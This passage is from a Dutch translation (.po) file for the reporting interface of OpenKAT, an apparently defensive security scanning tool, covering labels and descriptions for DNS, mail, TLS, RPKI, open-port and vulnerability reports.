\"\"\n\"The security measures table below shows which DNS relating security measures \"\n\"are enabled based on the contents of the DNS records.\"\nmsgstr \"\"\n\"De volgende beveiligingstabel toont aan welke DNS-gerelateerde \"\n\"veiligheidsmaatregelen zijn geactiveerd volgens de inhoud van de DNS-\"\n\"gegevens.\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/partials/ooi_detail_related_object.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Type\"\nmsgstr \"Type\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Yes\"\nmsgstr \"Ja\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No\"\nmsgstr \"Nee\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Other findings found\"\nmsgstr \"Andere gevonden bevindingen\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Findings information\"\nmsgstr \"Bevindingeninformatie\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"DNS Report\"\nmsgstr \"DNS-rapport\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"\"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses.\"\nmsgstr \"\"\n\"DNS-rapporten geven inzicht in de domeinnaamsysteemconfiguratie en \"\n\"potentiële zwakheden.\"\n\n#: reports/report_types/findings_report/report.html\n#, fuzzy\nmsgid \"\"\n\"The Findings Report contains information about the findings that have been \"\n\"identified for the selected asset and organization.\"\nmsgstr \"\"\n\"Het bevindingenrapport bevat informatie over de bevindingen die voor de \"\n\"geselecteerde assets en organisatie zijn gevonden.\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Findings Report\"\nmsgstr \"Bevindingenrapport\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Shows all the finding types and their occurrences.\"\nmsgstr \"Toont alle bevindingstypes en hun gebeurtenissen.\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"\"\n\"The IPv6 report provides an overview of the current IPv6 status of the \"\n\"identified system. The table below shows whether the domain is reachable \"\n\"over IPv6 or not. A green compliance check is shown if this is the case. A \"\n\"grey compliance cross is shown if no IPv6 address was detected.\"\nmsgstr \"\"\n\"Het IPv6-rapport geeft een overzicht van de huidige IPv6-status van het \"\n\"geïdentificeerde systeem. De volgende tabel laat zien of het domein \"\n\"bereikbaar is via IPv6 of niet. Een groen icoon wordt getoond als dit het \"\n\"geval is. Een grijs compliancekruis wordt getoond als er geen IPv6-adres is \"\n\"gevonden.\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"IPv6 overview\"\nmsgstr \"IPv6-overzicht\"\n\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"Domain\"\nmsgstr \"Domein\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"IPv6 Report\"\nmsgstr \"IPv6-rapport\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"Check whether hostnames point to IPv6 addresses.\"\nmsgstr \"Controleer of hostnamen naar IPv6-adressen verwijzen.\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"\"\n\"The Mail Report provides an overview of the compliance checks associated \"\n\"with email servers. The current compliance checks the presence of SPF, DKIM \"\n\"and DMARC records. The table below shows for each of these checks how many \"\n\"of the identified mail servers are compliant, and if applicable a compliance \"\n\"issue description and risk level. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\"Het Mailrapport geeft een overzicht van de compliancecontroles die worden \"\n\"uitgevoerd op e-mailservers. De huidige compliancecontroles controleren de \"\n\"aanwezigheid van SPF-, DKIM- en DMARC-records. De onderstaande tabel toont \"\n\"voor elk van deze controles hoeveel van de geïdentificeerde e-mailservers \"\n\"compliant zijn en, indien van toepassing, een beschrijving van het \"\n\"complianceprobleem en het risiconiveau. Het risiconiveau kan voor uw \"\n\"specifieke omgeving anders zijn.\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"Mailserver compliance\"\nmsgstr \"Compliance mailserver\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"mailservers compliant\"\nmsgstr \"mailservers compliant\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"No mailservers have been found on this system.\"\nmsgstr \"Er zijn geen mailservers op dit systeem gevonden.\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"Mail Report\"\nmsgstr \"Mailrapport\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"\"\n\"System specific Mail Report that focusses on IP addresses and hostnames.\"\nmsgstr \"Systeemspecifiek Mailrapport dat focust op IP-adressen en hostnamen.\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Overview of included assets\"\nmsgstr \"Overzicht van inbegrepen assets\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Asset\"\nmsgstr \"Asset\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Amount\"\nmsgstr \"Aantal\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"IP addresses\"\nmsgstr \"IP-adressen\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Domain names\"\nmsgstr \"Domeinnamen\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Assets with most critical vulnerabilities\"\nmsgstr \"Assets met de meest kritieke kwetsbaarheden\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Vulnerability\"\nmsgstr \"Kwetsbaarheid\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Organisation\"\nmsgstr \"Organisatie\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"No vulnerabilities found.\"\nmsgstr \"Geen kwetsbaarheden gevonden.\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Overview of safe connections\"\nmsgstr \"Overzicht van veilige verbindingen\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Only Safe Ciphers\"\nmsgstr \"Alleen veilige ciphers\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"services are compliant\"\nmsgstr \"services zijn compliant\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"System specific checks\"\nmsgstr \"Systeemspecifieke controles\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"IPv6\"\nmsgstr \"IPv6\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"\"\n\"IPv6 includes improvements in security features compared to IPv4. While IPv4 \"\n\"can implement security measures, IPv6 was designed with security in mind, \"\n\"and its adoption can contribute to a more secure internet.\"\nmsgstr \"\"\n\"IPv6 bevat verbeteringen van beveiligingsfuncties ten opzichte van IPv4. \"\n\"Terwijl IPv4 beveiligingsmaatregelen kan implementeren, is IPv6 ontworpen \"\n\"met beveiliging in het achterhoofd en de implementatie ervan kan bijdragen \"\n\"aan een veiliger internet.\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"In total \"\nmsgstr \"In totaal hebben \"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" out of \"\nmsgstr \" van de \"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" systems have an IPv6 connection.\"\nmsgstr \" systemen een IPv6-verbinding.\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"Overview of IP version compliance\"\nmsgstr \"Overzicht van compliance met IP-versies\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"\"\n\"See an overview of open ports found over all systems and the services these \"\n\"systems provide.\"\nmsgstr \"\"\n\"Bekijk een overzicht van open poorten op alle systemen en de services die \"\n\"deze systemen bieden.\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Overview of detected open ports\"\nmsgstr \"Overzicht van gedetecteerde open poorten\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/report_types/open_ports_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Open ports\"\nmsgstr \"Open poorten\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Occurrences (IP addresses)\"\nmsgstr \"Voorkomingen (IP-adressen)\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/templates/summary/service_health.html\nmsgid \"Services\"\nmsgstr \"Services\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"No open ports found.\"\nmsgstr \"Geen open poorten gevonden.\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"Overview of recommendations\"\nmsgstr \"Overzicht van aanbevelingen\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrence\"\nmsgstr \"Voorval\"\n\n#: reports/report_types/multi_organization_report/report.html\nmsgid \"No findings have been identified yet.\"\nmsgstr \"Er zijn nog geen bevindingen geïdentificeerd.\"\n\n#: reports/report_types/multi_organization_report/report.py\nmsgid \"Multi Organization Report\"\nmsgstr \"Multi-Organisatierapport\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Best scoring security check\"\nmsgstr \"Best scorende beveiligingscontrole\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Worst scoring security check\"\nmsgstr \"Slechtst scorende beveiligingscontrole\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"\"\n\"Vulnerabilities found are grouped per system. Here, we only consider CVE \"\n\"vulnerabilities.\"\nmsgstr \"\"\n\"Gevonden kwetsbaarheden worden gegroepeerd per systeem. Hier kijken we \"\n\"alleen naar CVE-kwetsbaarheden.\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"Vulnerabilities grouped per system\"\nmsgstr \"Kwetsbaarheden gegroepeerd per systeem\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"total\"\nmsgstr \"totaal\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"\"\n\"The Name Server Report provides an overview of the compliance checks that \"\n\"were performed against the identified Domain Name Servers (DNS). The \"\n\"compliance checks verify the presence and validity of DNSSEC and whether no \"\n\"unnecessary ports were identified to be open. The table below gives an \"\n\"overview of the available checks including whether the system passed the \"\n\"performed checks. The risk level and reasoning as to why an issue was \"\n\"identified are shown too. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\"Het Nameserver-rapport geeft een overzicht van de compliancecontroles die \"\n\"werden uitgevoerd tegen de geïdentificeerde Domain Name Servers (DNS). De \"\n\"compliancecontroles bevestigen de aanwezigheid en geldigheid van DNSSEC en \"\n\"of er geen onnodige openstaande poorten zijn geïdentificeerd. De tabel \"\n\"hieronder geeft een overzicht van de beschikbare controles inclusief of het \"\n\"systeem de uitgevoerde controles heeft doorstaan. Het risiconiveau en \"\n\"redenen waarom er een probleem is geïdentificeerd worden ook getoond. Het \"\n\"risiconiveau is misschien anders voor uw specifieke omgeving.\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Name server compliance\"\nmsgstr \"Nameserver compliance\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"DNSSEC Present\"\nmsgstr \"DNSSEC aanwezig\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"name servers compliant\"\nmsgstr \"nameservers compliant\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Valid DNSSEC\"\nmsgstr \"Valide DNSSEC\"\n\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"No unnecessary ports open\"\nmsgstr \"Geen onnodige poorten open\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"No nameservers have been found on this system.\"\nmsgstr \"Er zijn geen nameservers op dit systeem gevonden.\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report\"\nmsgstr \"Nameserver-rapport\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report checks name servers on basic security standards.\"\nmsgstr \"\"\n\"Nameserver-rapport controleert de basisbeveiligingsmaatregelen van \"\n\"nameservers.\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"\"\n\"The Open Ports Report provides an overview of the open ports identified on a \"\n\"system. The ports that are marked as <b>bold</b> were identified by direct \"\n\"scans performed by OpenKAT (such as nmap). Ports that are not marked in bold \"\n\"were identified through external services and/or scans (such as Shodan). \"\n\"Scans with the same hostnames, ports and IPs are merged.\"\nmsgstr \"\"\n\"Het Open Poorten-rapport geeft een overzicht van de open poorten die zijn \"\n\"geïdentificeerd op een systeem. De poorten die <b>vetgedrukt</b> zijn \"\n\"gemarkeerd werden geïdentificeerd door directe scans uitgevoerd door OpenKAT \"\n\"(zoals nmap). Poorten die niet zijn gemarkeerd, zijn geïdentificeerd door \"\n\"externe diensten en/of scans (zoals Shodan). Scans met dezelfde hostnamen, \"\n\"poorten en IP’s zijn samengevoegd.\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Overview of open ports found for the scanned assets\"\nmsgstr \"Overzicht van open poorten die op de gescande assets zijn gevonden\"\n\n#: reports/report_types/open_ports_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"IP address\"\nmsgstr \"IP-adres\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Hostnames\"\nmsgstr \"Hostnamen\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Direct scan\"\nmsgstr \"Directe scan\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Open Ports Report\"\nmsgstr \"Open-poortenrapport\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Find open ports of IP addresses\"\nmsgstr \"Zoek open poorten op IP-adressen\"\n\n#: reports/report_types/rpki_report/report.html\n#, fuzzy\nmsgid \"\"\n\"This section contains basic security information about Resource Public Key \"\n\"Infrastructure (RPKI). If your web server employs RPKI for its IP addresses \"\n\"and associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\"Deze sectie bevat basisbeveiligingsinformatie over Resource Public Key \"\n\"Infrastructure (RPKI). Als uw webserver RPKI gebruikt voor zijn IP-adressen \"\n\"en bijbehorende nameservers, verbetert de bescherming van bezoekers tegen \"\n\"foutieve configuraties en kwaadwillige route-intercepts. Dit wordt mogelijk \"\n\"gemaakt door geverifieerde routepublicaties, waardoor betrouwbare \"\n\"servertoegang en veilig internetverkeer wordt gegarandeerd.\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"The RPKI Report shows if an RPKI route announcement was available for the \"\n\"system and if this announcement is not expired.\"\nmsgstr \"\"\n\"Het RPKI-rapport toont of een RPKI-routeaankondiging beschikbaar was voor \"\n\"het systeem en of deze aankondiging niet is verlopen.\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI compliance\"\nmsgstr \"Compliance RPKI\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI Available\"\nmsgstr \"RPKI beschikbaar\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI valid\"\nmsgstr \"RPKI valide\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record is not valid.\"\nmsgstr \"RPKI-record is ongeldig.\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record does not exist.\"\nmsgstr \"RPKI-record bestaat niet.\"\n\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"No IPs have been found on this system.\"\nmsgstr \"Er zijn geen IP’s voor dit systeem gevonden.\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"RPKI Report\"\nmsgstr \"RPKI-rapport\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"\"\n\"Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows \"\n\"the IP addresses and whether they are covered by a valid RPKI ROA.\"\nmsgstr \"\"\n\"Toont of een IP valt onder een valide RPKI ROA. Toont voor een hostnaam de \"\n\"IP-adressen en of ze zijn gedekt door een valide RPKI ROA.\"\n\n#: reports/report_types/safe_connections_report/report.html\n#, fuzzy\nmsgid \"\"\n\"The Safe Connections report provides an overview of the performed checks \"\n\"with regard to encrypted communication channels such as HTTPS. The table \"\n\"below gives an overview of the available checks including whether the system \"\n\"passed the performed checks. The risk level and reasoning as to why an issue \"\n\"was identified are shown too. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\"Het beveiligde-verbindingen-rapport geeft een overzicht van de uitgevoerde \"\n\"controles met betrekking tot versleutelde communicatiekanalen zoals HTTPS. \"\n\"De tabel hieronder geeft een overzicht van de beschikbare controles en of \"\n\"het systeem de uitgevoerde controles heeft doorstaan. Het risiconiveau en \"\n\"redenen waarom er een bevinding is geïdentificeerd worden ook getoond. Het \"\n\"risiconiveau kan variëren afhankelijk van uw specifieke omgeving.\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Safe connections compliance\"\nmsgstr \"Compliance veilige verbindingen\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Safe Connections Report\"\nmsgstr \"Veilige Verbindingen-rapport\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Shows whether the IPService contains safe ciphers.\"\nmsgstr \"Toont of de IP-service veilige versleutelingen gebruikt.\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"\"\n\"The System Report provides an overview of the system types (types of similar \"\n\"services) that were identified for each system. The following system types \"\n\"can be identified: DNS servers, Web servers, Mail servers and those \"\n\"classified as 'Other' servers. Each hostname and/or IP address is given one \"\n\"or more system types depending on the identified ports and services. The \"\n\"table below gives an overview of these results.\"\nmsgstr \"\"\n\"Het Systeemrapport geeft een overzicht van de systeemtypes die werden \"\n\"geïdentificeerd voor elk systeem. De volgende systemen kunnen worden \"\n\"geïdentificeerd: DNS-servers, webservers, mailservers en die geclassificeerd \"\n\"als ‘Overige’ servers. Aan elke hostname en/of IP-adres worden een of meer \"\n\"systeemtypes gegeven, afhankelijk van de geïdentificeerde poorten en \"\n\"diensten. De tabel hieronder geeft een overzicht van deze resultaten.\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"Selected assets\"\nmsgstr \"Geselecteerde assets\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"No system types have been identified on this system.\"\nmsgstr \"Er zijn geen systeemtypen op dit systeem geïdentificeerd.\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"System Report\"\nmsgstr \"Systeemrapport\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"Combine IP addresses, hostnames and services into systems.\"\nmsgstr \"Combineer IP-adressen, hostnamen en services in systemen.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The TLS Report shows which TLS protocols and ciphers were identified on the \"\n\"host for the provided port.\"\nmsgstr \"\"\n\"Het TLS-rapport toont welke TLS-protocollen en -versleutelingen zijn \"\n\"geïdentificeerd op de host voor de opgegeven poort.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The table below provides an overview of the identified TLS protocols and \"\n\"ciphers, including a status suggestion.\"\nmsgstr \"\"\n\"Onderstaande tabel geeft een overzicht van de geïdentificeerde TLS-\"\n\"protocollen en -versleutelingen, waaronder een statussuggestie.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Ciphers\"\nmsgstr \"Ciphers\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Protocol\"\nmsgstr \"Protocol\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Encryption Algorithm\"\nmsgstr \"Encryptiealgoritme\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Bits\"\nmsgstr \"Bits\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Key Size\"\nmsgstr \"Sleutelgrootte\"\n\n#: reports/report_types/tls_report/report.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Code\"\nmsgstr \"Code\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Phase out\"\nmsgstr \"Uitfaseren\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Good\"\nmsgstr \"Goed\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"No ciphers were found for this combination of IP address, port and service.\"\nmsgstr \"\"\n\"Er zijn geen versleutelingen gevonden voor deze combinatie van IP-adres, \"\n\"poort en dienst.\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The list below gives an overview of the findings based on the identified TLS \"\n\"protocols and ciphers. This includes the reasoning why the cipher or \"\n\"protocol is marked as a finding.\"\nmsgstr \"\"\n\"Onderstaande lijst toont een overzicht van de bevindingen op basis van de \"\n\"geïdentificeerde TLS-protocollen en -versleutelingen. Dit bevat de \"\n\"redenering waarom de versleuteling of protocol gemarkeerd is als een \"\n\"bevinding.\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"TLS Report\"\nmsgstr \"TLS-rapport\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"\"\n\"TLS Report assesses the security of data encryption and transmission \"\n\"protocols.\"\nmsgstr \"\"\n\"TLS-rapport beoordeelt de veiligheid van gegevensencryptie en \"\n\"transmissieprotocollen.\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"No vulnerabilities have been found on this system.\"\nmsgstr \"Er zijn geen kwetsbaarheden op dit systeem gevonden.\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"\"\n\"The Vulnerability Report provides an overview of all identified CVE \"\n\"vulnerabilities that were identified on the selected systems. For each CVE \"\n\"the table shows the CVE scoring, the number of occurrences, and the CVE \"\n\"details.\"\nmsgstr \"\"\n\"Het Kwetsbaarhedenrapport geeft een overzicht van alle geïdentificeerde CVE-\"\n\"kwetsbaarheden die werden geïdentificeerd op de geselecteerde systemen. Voor \"\n\"elke CVE wordt de CVE-score, het aantal gebeurtenissen en de CVE-details \"\n\"getoond.\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"vulnerabilities on this system\"\nmsgstr \"kwetsbaarheden op dit systeem\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Advice\"\nmsgstr \"Advies\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerability Report\"\nmsgstr \"Kwetsbaarhedenrapport\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerabilities found are grouped for each system.\"\nmsgstr \"De gevonden kwetsbaarheden zijn per systeem gegroepeerd.\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"First seen\"\nmsgstr \"Eerst gezien\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Last seen\"\nmsgstr \"Laatst gezien\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Evidence\"\nmsgstr \"Bewijs\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"\"\n\"The Web System Report provides an overview of various web server checks that \"\n\"were performed against the scanned system(s). For each performed check the \"\n\"table below shows whether or not the server is compliant with the checks. A \"\n\"description of why this compliant check failed is also shown, including an \"\n\"general risk level. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\"Het Web System-rapport geeft een overzicht van verschillende \"\n\"webservercontroles die werden uitgevoerd op het gescande systeem. Voor elke \"\n\"uitgevoerde controle toont onderstaande tabel, of de server voldoet aan de \"\n\"controles. Een beschrijving van de falende controles wordt ook getoond, \"\n\"inclusief een algemeen risiconiveau. Het risiconiveau is misschien anders \"\n\"voor uw specifieke omgeving.\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Web system compliance\"\nmsgstr \"Compliance webservers\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"CSP Present\"\nmsgstr \"CSP aanwezig\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"webservers compliant\"\nmsgstr \"webservers compliant\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Secure CSP Header\"\nmsgstr \"Veilige CSP-header\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Redirects HTTP to HTTPS\"\nmsgstr \"Verwijst HTTP door naar HTTPS\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Offers HTTPS\"\nmsgstr \"HTTPS is beschikbaar\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a Security.txt\"\nmsgstr \"Heeft een security.txt\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a certificate\"\nmsgstr \"Heeft een certificaat\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is valid\"\nmsgstr \"Certificaat is geldig\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is not expiring soon\"\nmsgstr \"Certificaat verloopt niet binnenkort\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"No webservers have been found on this system.\"\nmsgstr \"Er zijn geen webservers op gevonden dit systeem.\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Report\"\nmsgstr \"Web System-rapport\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Reports check web systems on basic security standards.\"\nmsgstr \"\"\n\"Websysteemrapport controleert websystemen op basisbeveiligingsstandaarden.\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"Report schedule\"\nmsgstr \"Rapport-agenda\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"\"\n\"When scheduling your report, you have two options. You can either choose to \"\n\"generate it just once now, or set it to run automatically at regular \"\n\"intervals, like daily, weekly, or monthly. If you need the report just for a \"\n\"single occasion, select the one-time option.\"\nmsgstr \"\"\n\"Als u uw rapport inplant, hebt u twee opties. U kunt kiezen om het nu \"\n\"eenmalig te genereren, of om het automatisch te laten draaien op normale \"\n\"intervallen, zoals dagelijks, wekelijks, of maandelijks. Als u het rapport \"\n\"nodig hebt voor een enkele gelegenheid, kies dan de eenmalige optie.\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report name\"\nmsgstr \"Rapportnaam\"\n\n#: reports/templates/partials/export_report_settings.html\n#, python-format, python-brace-format\nmsgid \"\"\n\"When generating reports, it is possible to give the report a name. The name \"\n\"can be static or dynamic. The default format for a report is '${report_type} \"\n\"for ${oois_count} objects'. These placeholders automatically adapt based on \"\n\"the report details. This format could for example return 'Aggregate Report \"\n\"for 15 objects'. Another placeholder that can be used is '${ooi}', which \"\n\"will show the name of the object when there is only one object. You can also \"\n\"customize the name by adding prefixes, suffixes, or other formats like '%%W' \"\n\"for the week number, using options from <a href=\\\"https://strftime.org/\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">Python strftime code</a>.\"\nmsgstr \"\"\n\"Bij het genereren van rapporten is het mogelijk om het rapport een naam te \"\n\"geven. De naam kan statisch of dynamisch zijn. Het standaardnotatie voor een \"\n\"rapport is '${report_type} for ${oois_count} objects'. Deze placeholders \"\n\"passen zich automatisch aan op basis van de rapportgegevens. Deze notatie \"\n\"kan bijvoorbeeld 'Aggregate Report for 15 objects' opleveren. Een andere \"\n\"placeholder die kan worden gebruikt is '${ooi}', die de naam van het object \"\n\"weergeeft als er maar één object is. Je kunt de naam ook aanpassen door \"\n\"voorvoegsels, achtervoegsels of andere notaties toe te voegen, zoals '%%W' \"\n\"voor het weeknummer, door opties te gebruiken van <a href=\\\"https://strftime.\"\n\"org/\\\" target=\\\"_blank\\\" rel=\\\"noopener\\\">Python strftime code</a>.\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/partials/generate_report_header.html\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/generate_report.py\nmsgid \"Generate report\"\nmsgstr \"Rapport genereren\"\n\n#: reports/templates/partials/generate_report_header.html\n#, fuzzy\nmsgid \"To generate an aggregate report, complete the following steps.\"\nmsgstr \"Voer de volgende stappen uit om een geaggregeerd rapport te maken.\"\n\n#: reports/templates/partials/generate_report_header.html\n#, fuzzy\nmsgid \"To generate a multi report, complete the following steps.\"\nmsgstr \"Voer de volgende stappen uit om een multi-rapport te maken.\"\n\n#: reports/templates/partials/generate_report_header.html\n#, fuzzy\nmsgid \"To generate separate report(s), complete the following steps.\"\nmsgstr \"Voer de volgende stappen uit om gescheiden rapporten te maken\"\n\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Table of contents\"\nmsgstr \"Inhoudsopgave\"\n\n#: reports/templates/partials/new_report_action_button.html\n#, fuzzy\nmsgid \"Actions for creating a new report\"\nmsgstr \"Acties om een nieuw rapport te maken.\"\n\n#: reports/templates/partials/new_report_action_button.html\n#, fuzzy\nmsgid \"Separate report(s)\"\nmsgstr \"Gescheiden rapport(en)\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/aggregate_report.py\nmsgid \"Aggregate report\"\nmsgstr \"Aggregeer rapport\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/multi_report.py\nmsgid \"Multi report\"\nmsgstr \"Multi-rapport\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"Overview\"\nmsgstr 